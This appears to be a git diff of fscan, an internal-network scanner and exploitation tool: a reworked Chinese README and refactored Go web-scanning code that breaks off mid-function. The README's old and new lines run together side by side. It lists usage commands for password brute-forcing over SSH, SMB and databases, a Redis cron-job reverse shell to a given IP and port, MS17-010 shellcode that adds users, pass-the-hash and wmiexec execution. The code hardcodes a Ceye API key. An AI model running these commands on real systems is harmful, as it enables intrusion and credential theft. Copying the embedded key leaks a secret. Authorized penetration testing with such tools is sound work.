- Web漏洞扫描
- 域环境探测:
- NetBIOS信息获取
- 域控制器识别
- 后渗透功能支持通过计划任务实现反弹shell
3.系统信息、漏洞扫描: # 0x02 主要功能
* netbios探测、域控识别 ## 1. 信息搜集
* 获取目标网卡信息 - 基于ICMP的主机存活探测快速识别网络中的活跃主机设备
* 高危漏洞扫描(ms17010等) - 全面的端口扫描:系统地检测目标主机的开放端口情况
4.Web探测功能: ## 2. 爆破功能
* webtitle探测 - 常用服务密码爆破支持SSH、SMB、RDP等多种协议的身份认证测试
* web指纹识别(常见cms、oa框架等) - 数据库密码爆破覆盖MySQL、MSSQL、Redis、PostgreSQL、Oracle等主流数据库系统
* web漏洞扫描(weblogic、st2等,支持xray的poc)
5.漏洞利用: ## 3. 系统信息与漏洞扫描
* redis写公钥或写计划任务 - 网络信息收集包括NetBIOS探测和域控制器识别
* ssh命令执行 - 系统信息获取:能够读取目标系统网卡配置信息
* ms17017利用(植入shellcode),如添加用户等 - 安全漏洞检测支持MS17-010等高危漏洞的识别与检测
6.其他功能: ## 4. Web应用探测
* 文件保存 - 网站信息收集:自动获取网站标题信息
- Web指纹识别可识别常见CMS系统与OA框架
- 漏洞扫描能力集成WebLogic、Struts2等漏洞检测兼容XRay POC
# 3. 使用说明 ## 5. 漏洞利用模块
简单用法 - Redis利用支持写入公钥或植入计划任务
``` - SSH远程执行提供SSH命令执行功能
fscan.exe -h 192.168.1.1/24 (默认使用全部模块) - MS17-010利用支持ShellCode注入可实现添加用户等操作
fscan.exe -h 192.168.1.1/16 (B段扫描)
## 6. 辅助功能
- 扫描结果存储:将所有检测结果保存至文件,便于后续分析
# 0x03 使用说明
## 基础用法
```bash
# 默认扫描(使用全部模块)
fscan.exe -h 192.168.1.1/24
# B段扫描
fscan.exe -h 192.168.1.1/16
``` ```
其他用法 ## 进阶用法
### 扫描控制
```bash
# 跳过存活检测、不保存文件、跳过web poc扫描
fscan.exe -h 192.168.1.1/24 -np -no -nopoc
# 指定扫描结果保存路径
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt
# 从文件导入目标
fscan.exe -hf ip.txt
``` ```
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥) ### 特定功能
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) ```bash
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) # Redis利用
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub # 写公钥
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破) fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 # 计划任务反弹shell
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 ) # SSH操作
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞) fscan.exe -h 192.168.1.1/24 -c whoami # SSH爆破成功后执行命令
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入) # 密码爆破
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080) fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt # 指定用户名密码文件
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量) fscan.exe -h 192.168.1.1/24 -m smb -pwd password # SMB密码碰撞
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行)
``` ```
编译命令
### 代理设置
```bash
# HTTP代理
fscan.exe -u http://baidu.com -proxy 8080
# SOCKS5代理
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080
``` ```
### 特定漏洞检测
```bash
# MS17-010检测
fscan.exe -h 192.168.1.1/24 -m ms17010
# MS17-010利用
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add
```
## 编译说明
```bash
# 基础编译
go build -ldflags="-s -w " -trimpath main.go go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (可选,压缩体积)
```
arch用户安装
`yay -S fscan-git 或者 paru -S fscan-git`
完整参数 # 使用UPX压缩可选
``` upx -9 fscan.exe
-c string
ssh命令执行
-cookie string
设置cookie
-debug int
多久没响应,就打印当前进度(default 60)
-domain string
smb爆破模块时,设置域名
-h string
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
读取文件中的目标
-hn string
扫描时,要跳过的ip: -hn 192.168.1.1/24
-m string
设置扫描模式: -m ssh (default "all")
-no
扫描结果不保存到文件中
-nobr
跳过sql、ftp、ssh等的密码爆破
-nopoc
跳过web poc扫描
-np
跳过存活探测
-num int
web poc 发包速率 (default 20)
-o string
扫描结果保存到哪 (default "result.txt")
-p string
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-path string
fcgi、smb romote file path
-ping
使用ping代替icmp进行存活探测
-pn string
扫描时要跳过的端口,as: -pn 445
-pocname string
指定web poc的模糊名字, -pocname weblogic
-proxy string
设置代理, -proxy http://127.0.0.1:8080
-user string
指定爆破时的用户名
-userf string
指定爆破时的用户名文件
-pwd string
指定爆破时的密码
-pwdf string
指定爆破时的密码文件
-rf string
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
-rs string
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent
静默扫描,适合cs扫描时不回显
-sshkey string
ssh连接时,指定ssh私钥
-t int
扫描线程 (default 600)
-time int
端口扫描超时时间 (default 3)
-u string
指定Url扫描
-uf string
指定Url文件扫描
-wt int
web访问超时时间 (default 5)
-pocpath string
指定poc路径
-usera string
在原有用户字典基础上,新增新用户
-pwda string
在原有密码字典基础上,增加新密码
-socks5
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
-sc
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
``` ```
# 4. 运行截图 ## Arch Linux安装
```bash
# 使用yay
yay -S fscan-git
# 或使用paru
paru -S fscan-git
```
# 0x04 参数说明
## 目标设置
- `-h` : 设置目标IP
- 支持单个IP`192.168.11.11`
- 支持IP范围`192.168.11.11-255`
- 支持多个IP`192.168.11.11,192.168.11.12`
- `-hf` : 从文件读取目标
- `-hn` : 设置要排除的IP范围
- `-u` : 指定单个URL扫描
- `-uf` : 指定URL文件扫描
## 扫描控制
- `-m` : 指定扫描模式,默认为"all"
- `-t` : 设置扫描线程数默认600
- `-time` : 端口扫描超时时间默认3秒
- `-wt` : Web访问超时时间默认5秒
- `-debug` : 设置进度打印间隔默认60秒
- `-silent` : 开启静默模式适用于CS扫描
## 端口配置
- `-p` : 指定扫描端口
- 默认端口21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017
- `-pa` : 在默认端口基础上新增端口
- `-pn` : 设置要排除的端口
## 爆破相关
- `-user` : 指定用户名
- `-userf` : 指定用户名文件
- `-pwd` : 指定密码
- `-pwdf` : 指定密码文件
- `-usera` : 在默认用户字典基础上新增用户
- `-pwda` : 在默认密码字典基础上新增密码
## Web相关
- `-cookie` : 设置Cookie
- `-num` : Web POC发包速率默认20
- `-pocname` : 指定Web POC的模糊名称
- `-pocpath` : 指定POC路径
## 代理设置
- `-proxy` : 设置HTTP代理
- `-socks5` : 设置SOCKS5代理
## 输出控制
- `-o` : 设置结果保存路径,默认"result.txt"
- `-no` : 不保存扫描结果
- `-nobr` : 跳过密码爆破
- `-nopoc` : 跳过Web POC扫描
- `-np` : 跳过存活探测
## 特殊功能
- `-c` : SSH命令执行
- `-domain` : SMB爆破时设置域名
- `-rf` : Redis写公钥模块的文件路径
- `-rs` : Redis计划任务反弹shell的IP端口
- `-sshkey` : 指定SSH私钥路径
- `-sc` : MS17010利用模块shellcode功能
## 存活探测
- `-ping` : 使用ping代替ICMP进行存活探测
# 0x05 运行截图
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)` `fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
![](image/1.png) ![](image/1.png)
@ -175,7 +208,7 @@ arch用户安装
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)` `go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
![img.png](image/live.png) ![img.png](image/live.png)
# 5. 免责声明 # 0x06 免责声明
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
@ -186,10 +219,11 @@ arch用户安装
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
# 6. 404StarLink 2.0 - Galaxy # 0x07 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png) ![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。 fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
@ -197,13 +231,13 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community) - [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
演示视频[【安全工具】5大功能一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M) 演示视频[【安全工具】5大功能一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M)
# 7. Star Chart # 0x08 Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan) [![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
# 8. 捐赠 # 0x09 捐赠
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png) 如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
# 9. 参考链接 # 0x10 参考链接
https://github.com/Adminisme/ServerScan https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan https://github.com/hack2fun/Gscan
@ -211,36 +245,56 @@ https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc https://github.com/jjf012/gopoc
# 10. 最近更新 # 0x11 最近更新
[+] 2023/11/13 加入控制台颜色输出(可-nocolor)、保存文件json结构(-json)、修改tls最低版本为1.0、端口分组(-p db,web,service)。 ## 2024 更新
[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。
[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。 - **2024/12/19**: v2.0.0 重大更新
[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。 - 完整代码重构,提升性能和可维护性
[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 - 重新设计模块化架构,支持插件扩展
新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。 - 改进并发控制,提升扫描效率
[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。
[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito ## 2023 更新
[+] 2022/1/11 新增oracle密码爆破。
[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。 - **2023/11/13**:
[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。 - 新增控制台颜色输出(可用 `-nocolor` 关闭)
[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。 - 支持JSON格式保存结果`-json`
[+] 2021/6/18 改善一下poc的机制如果识别出指纹会根据指纹信息发送poc如果没有识别到指纹才会把所有poc打一遍。 - 调整TLS最低版本至1.0
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。 - 支持端口分组(`-p db,web,service`
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。
[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。 ## 2022 更新
[+] 2021/4/22 修改webtitle模块,加入gbk解码。 - **2022/11/19**: 新增hash碰撞和wmiexec无回显命令执行功能
[+] 2021/4/21 加入netbios探测、域控识别。 - **2022/7/14**: 改进文件导入支持和搜索匹配功能
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。 - **2022/7/6**: 优化内存管理扩展URL支持
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml。 - **2022/7/2**:
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。 - 增强POC fuzz模块
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。 - 新增MS17017利用功能
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度。 - 加入socks5代理支持
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试。 - **2022/4/20**: 新增POC路径指定和端口文件导入功能
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 。 - **2022/2/25**: 新增webonly模式致谢 @AgeloVito
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。 - **2022/1/11**: 新增Oracle密码爆破
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。 - **2022/1/7**: 改进大规模网段扫描新增LiveTop功能
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段 。 ## 2021 更新
[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理。 - **2021/12/7**: 新增RDP扫描功能
- **2021/12/1**: 全面优化功能模块
- **2021/6/18**: 改进POC识别机制
- **2021/5/29**: 新增FCGI未授权扫描
- **2021/5/15**: 发布Windows 2003版本
- **2021/5/6**: 更新核心模块
- **2021/4/21**: 加入NetBIOS探测和域控识别
- **2021/3/4**: 支持URL批量扫描
- **2021/2/25**: 支持密码爆破功能
- **2021/2/8**: 新增指纹识别功能
- **2021/2/5**: 优化ICMP探测
## 2020 更新
- **2020/12/12**: 集成YAML解析引擎支持XRay POC
- **2020/12/6**: 优化ICMP模块
- **2020/12/03**: 改进IP段处理
- **2020/11/17**: 新增WebScan模块
- **2020/11/16**: 优化ICMP模块
- **2020/11/15**: 支持文件导入IP
_感谢所有为项目做出贡献的开发者_
[url-docen]: README_EN.md [url-docen]: README_EN.md

View File

@ -3,67 +3,96 @@ package WebScan
import ( import (
"crypto/md5" "crypto/md5"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/info" "github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
"regexp" "regexp"
) )
// CheckDatas 存储HTTP响应的检查数据
type CheckDatas struct { type CheckDatas struct {
Body []byte Body []byte // 响应体
Headers string Headers string // 响应头
} }
// InfoCheck 检查URL的指纹信息
func InfoCheck(Url string, CheckData *[]CheckDatas) []string { func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
var matched bool var matchedInfos []string
var infoname []string
// 遍历检查数据
for _, data := range *CheckData { for _, data := range *CheckData {
// 规则匹配检查
for _, rule := range info.RuleDatas { for _, rule := range info.RuleDatas {
if rule.Type == "code" { var matched bool
matched, _ = regexp.MatchString(rule.Rule, string(data.Body)) var err error
} else {
matched, _ = regexp.MatchString(rule.Rule, data.Headers) // 根据规则类型选择匹配内容
switch rule.Type {
case "code":
matched, err = regexp.MatchString(rule.Rule, string(data.Body))
default:
matched, err = regexp.MatchString(rule.Rule, data.Headers)
} }
if matched == true {
infoname = append(infoname, rule.Name) // 处理匹配错误
if err != nil {
Common.LogError(fmt.Sprintf("规则匹配错误 [%s]: %v", rule.Name, err))
continue
}
// 添加匹配成功的规则名
if matched {
matchedInfos = append(matchedInfos, rule.Name)
} }
} }
//flag, name := CalcMd5(data.Body)
//if flag == true { // MD5匹配检查暂时注释
// infoname = append(infoname, name) /*
//} if flag, name := CalcMd5(data.Body); flag {
matchedInfos = append(matchedInfos, name)
}
*/
} }
infoname = removeDuplicateElement(infoname) // 去重处理
matchedInfos = removeDuplicateElement(matchedInfos)
if len(infoname) > 0 { // 输出结果
result := fmt.Sprintf("[+] InfoScan %-25v %s ", Url, infoname) if len(matchedInfos) > 0 {
common.LogSuccess(result) result := fmt.Sprintf("[+] 发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos)
return infoname Common.LogSuccess(result)
return matchedInfos
} }
return []string{""} return []string{""}
} }
// CalcMd5 计算内容的MD5并与指纹库比对
func CalcMd5(Body []byte) (bool, string) { func CalcMd5(Body []byte) (bool, string) {
has := md5.Sum(Body) contentMd5 := fmt.Sprintf("%x", md5.Sum(Body))
md5str := fmt.Sprintf("%x", has)
for _, md5data := range info.Md5Datas { // 比对MD5指纹库
if md5str == md5data.Md5Str { for _, md5Info := range info.Md5Datas {
return true, md5data.Name if contentMd5 == md5Info.Md5Str {
return true, md5Info.Name
} }
} }
return false, "" return false, ""
} }
func removeDuplicateElement(languages []string) []string { // removeDuplicateElement 移除切片中的重复元素
result := make([]string, 0, len(languages)) func removeDuplicateElement(items []string) []string {
temp := map[string]struct{}{} // 预分配空间
for _, item := range languages { result := make([]string, 0, len(items))
if _, ok := temp[item]; !ok { seen := make(map[string]struct{}, len(items))
temp[item] = struct{}{}
// 使用map去重
for _, item := range items {
if _, exists := seen[item]; !exists {
seen[item] = struct{}{}
result = append(result, item) result = append(result, item)
} }
} }
return result return result
} }

View File

@ -3,8 +3,8 @@ package WebScan
import ( import (
"embed" "embed"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/lib" "github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"net/http" "net/http"
"os" "os"
"path/filepath" "path/filepath"
@ -17,15 +17,22 @@ var Pocs embed.FS
var once sync.Once var once sync.Once
var AllPocs []*lib.Poc var AllPocs []*lib.Poc
func WebScan(info *common.HostInfo) { // WebScan 执行Web漏洞扫描
func WebScan(info *Common.HostInfo) {
// 确保POC只初始化一次
once.Do(initpoc) once.Do(initpoc)
var pocinfo = common.Pocinfo
buf := strings.Split(info.Url, "/")
pocinfo.Target = strings.Join(buf[:3], "/")
// 构建扫描信息
var pocinfo = Common.Pocinfo
urlParts := strings.Split(info.Url, "/")
pocinfo.Target = strings.Join(urlParts[:3], "/")
// 执行扫描
if pocinfo.PocName != "" { if pocinfo.PocName != "" {
// 指定POC扫描
Execute(pocinfo) Execute(pocinfo)
} else { } else {
// 根据指纹信息选择POC扫描
for _, infostr := range info.Infostr { for _, infostr := range info.Infostr {
pocinfo.PocName = lib.CheckInfoPoc(infostr) pocinfo.PocName = lib.CheckInfoPoc(infostr)
Execute(pocinfo) Execute(pocinfo)
@ -33,69 +40,80 @@ func WebScan(info *common.HostInfo) {
} }
} }
func Execute(PocInfo common.PocInfo) { // Execute 执行具体的POC检测
func Execute(PocInfo Common.PocInfo) {
// 创建基础HTTP请求
req, err := http.NewRequest("GET", PocInfo.Target, nil) req, err := http.NewRequest("GET", PocInfo.Target, nil)
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err) Common.LogError(fmt.Sprintf("初始化请求失败 %v: %v", PocInfo.Target, err))
common.LogError(errlog)
return return
} }
req.Header.Set("User-agent", common.UserAgent)
req.Header.Set("Accept", common.Accept) // 设置请求头
req.Header.Set("User-agent", Common.UserAgent)
req.Header.Set("Accept", Common.Accept)
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if common.Cookie != "" { if Common.Cookie != "" {
req.Header.Set("Cookie", common.Cookie) req.Header.Set("Cookie", Common.Cookie)
} }
// 根据名称筛选POC并执行
pocs := filterPoc(PocInfo.PocName) pocs := filterPoc(PocInfo.PocName)
lib.CheckMultiPoc(req, pocs, common.PocNum) lib.CheckMultiPoc(req, pocs, Common.PocNum)
} }
// initpoc 初始化POC加载
func initpoc() { func initpoc() {
if common.PocPath == "" { if Common.PocPath == "" {
// 从嵌入的POC目录加载
entries, err := Pocs.ReadDir("pocs") entries, err := Pocs.ReadDir("pocs")
if err != nil { if err != nil {
fmt.Printf("[-] init poc error: %v", err) Common.LogError(fmt.Sprintf("加载内置POC失败: %v", err))
return return
} }
for _, one := range entries {
path := one.Name() // 加载YAML格式的POC文件
if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") { for _, entry := range entries {
if poc, _ := lib.LoadPoc(path, Pocs); poc != nil { filename := entry.Name()
if strings.HasSuffix(filename, ".yaml") || strings.HasSuffix(filename, ".yml") {
if poc, err := lib.LoadPoc(filename, Pocs); err == nil && poc != nil {
AllPocs = append(AllPocs, poc) AllPocs = append(AllPocs, poc)
} }
} }
} }
} else { } else {
fmt.Println("[+] load poc from " + common.PocPath) // 从指定目录加载POC
err := filepath.Walk(common.PocPath, Common.LogSuccess(fmt.Sprintf("[*] 从目录加载POC: %s", Common.PocPath))
func(path string, info os.FileInfo, err error) error { err := filepath.Walk(Common.PocPath, func(path string, info os.FileInfo, err error) error {
if err != nil || info == nil { if err != nil || info == nil {
return err return err
}
if !info.IsDir() && (strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml")) {
if poc, err := lib.LoadPocbyPath(path); err == nil && poc != nil {
AllPocs = append(AllPocs, poc)
} }
if !info.IsDir() { }
if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") { return nil
poc, _ := lib.LoadPocbyPath(path) })
if poc != nil {
AllPocs = append(AllPocs, poc)
}
}
}
return nil
})
if err != nil { if err != nil {
fmt.Printf("[-] init poc error: %v", err) Common.LogError(fmt.Sprintf("[-] 加载外部POC失败: %v", err))
} }
} }
} }
func filterPoc(pocname string) (pocs []*lib.Poc) { // filterPoc 根据POC名称筛选
func filterPoc(pocname string) []*lib.Poc {
if pocname == "" { if pocname == "" {
return AllPocs return AllPocs
} }
var matchedPocs []*lib.Poc
for _, poc := range AllPocs { for _, poc := range AllPocs {
if strings.Contains(poc.Name, pocname) { if strings.Contains(poc.Name, pocname) {
pocs = append(pocs, poc) matchedPocs = append(matchedPocs, poc)
} }
} }
return return matchedPocs
} }

729
WebScan/lib/Check.go Normal file
View File

@ -0,0 +1,729 @@
package lib
import (
"crypto/md5"
"fmt"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/info"
"math/rand"
"net/http"
"net/url"
"regexp"
"strings"
"sync"
"time"
)
// API配置常量
const (
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2" // Ceye平台的API密钥
ceyeDomain = "7wtusr.ceye.io" // Ceye平台的域名
)
// Task 定义单个POC检测任务的结构体
type Task struct {
Req *http.Request // HTTP请求对象
Poc *Poc // POC检测脚本
}
// CheckMultiPoc 并发执行多个POC检测
// 参数说明:
// - req: HTTP请求对象
// - pocs: POC检测脚本列表
// - workers: 并发工作协程数量
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
if workers <= 0 {
workers = 1 // 确保至少有一个工作协程
}
tasks := make(chan Task, len(pocs)) // 使用带缓冲的通道,避免阻塞
var wg sync.WaitGroup
// 启动工作协程池
for i := 0; i < workers; i++ {
go func() {
for task := range tasks {
// 执行POC检测
isVulnerable, details, vulName := executePoc(task.Req, task.Poc)
if isVulnerable {
// 格式化输出结果
result := fmt.Sprintf("[+] [发现漏洞] 目标: %s\n"+
" 漏洞类型: %s\n"+
" 漏洞名称: %s\n"+
" 详细信息: %s",
task.Req.URL,
task.Poc.Name,
vulName,
details)
Common.LogSuccess(result)
}
wg.Done()
}
}()
}
// 分发任务
for _, poc := range pocs {
wg.Add(1)
tasks <- Task{
Req: req,
Poc: poc,
}
}
// 等待所有任务完成
wg.Wait()
close(tasks)
}
// executePoc 执行单个POC检测
func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
// 初始化环境配置
config := NewEnvOption()
config.UpdateCompileOptions(p.Set)
// 处理额外的设置项
if len(p.Sets) > 0 {
var setMap StrMap
for _, item := range p.Sets {
value := ""
if len(item.Value) > 0 {
value = item.Value[0]
}
setMap = append(setMap, StrItem{item.Key, value})
}
config.UpdateCompileOptions(setMap)
}
// 创建执行环境
env, err := NewEnv(&config)
if err != nil {
return false, fmt.Errorf("[-] 创建%s的执行环境失败: %v", p.Name, err), ""
}
// 解析请求
req, err := ParseRequest(oReq)
if err != nil {
return false, fmt.Errorf("[-] 解析%s的请求失败: %v", p.Name, err), ""
}
// 初始化变量映射
variableMap := make(map[string]interface{})
defer func() { variableMap = nil }()
variableMap["request"] = req
// 处理设置项
for _, item := range p.Set {
key, expression := item.Key, item.Value
if expression == "newReverse()" {
if !Common.DnsLog {
return false, nil, ""
}
variableMap[key] = newReverse()
continue
}
if err, _ = evalset(env, variableMap, key, expression); err != nil {
Common.LogError(fmt.Sprintf("[-] 执行%s的设置项失败: %v", p.Name, err))
}
}
// 处理爆破模式
if len(p.Sets) > 0 {
success, err := clusterpoc(oReq, p, variableMap, req, env)
return success, err, ""
}
// 处理单个规则的函数
DealWithRule := func(rule Rules) (bool, error) {
Headers := cloneMap(rule.Headers)
// 替换变量
for varName, varValue := range variableMap {
if _, isMap := varValue.(map[string]string); isMap {
continue
}
strValue := fmt.Sprintf("%v", varValue)
// 替换Header中的变量
for headerKey, headerValue := range Headers {
if strings.Contains(headerValue, "{{"+varName+"}}") {
Headers[headerKey] = strings.ReplaceAll(headerValue, "{{"+varName+"}}", strValue)
}
}
// 替换Path和Body中的变量
rule.Path = strings.ReplaceAll(rule.Path, "{{"+varName+"}}", strValue)
rule.Body = strings.ReplaceAll(rule.Body, "{{"+varName+"}}", strValue)
}
// 构建请求路径
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
// 创建新的请求
newRequest, err := http.NewRequest(
rule.Method,
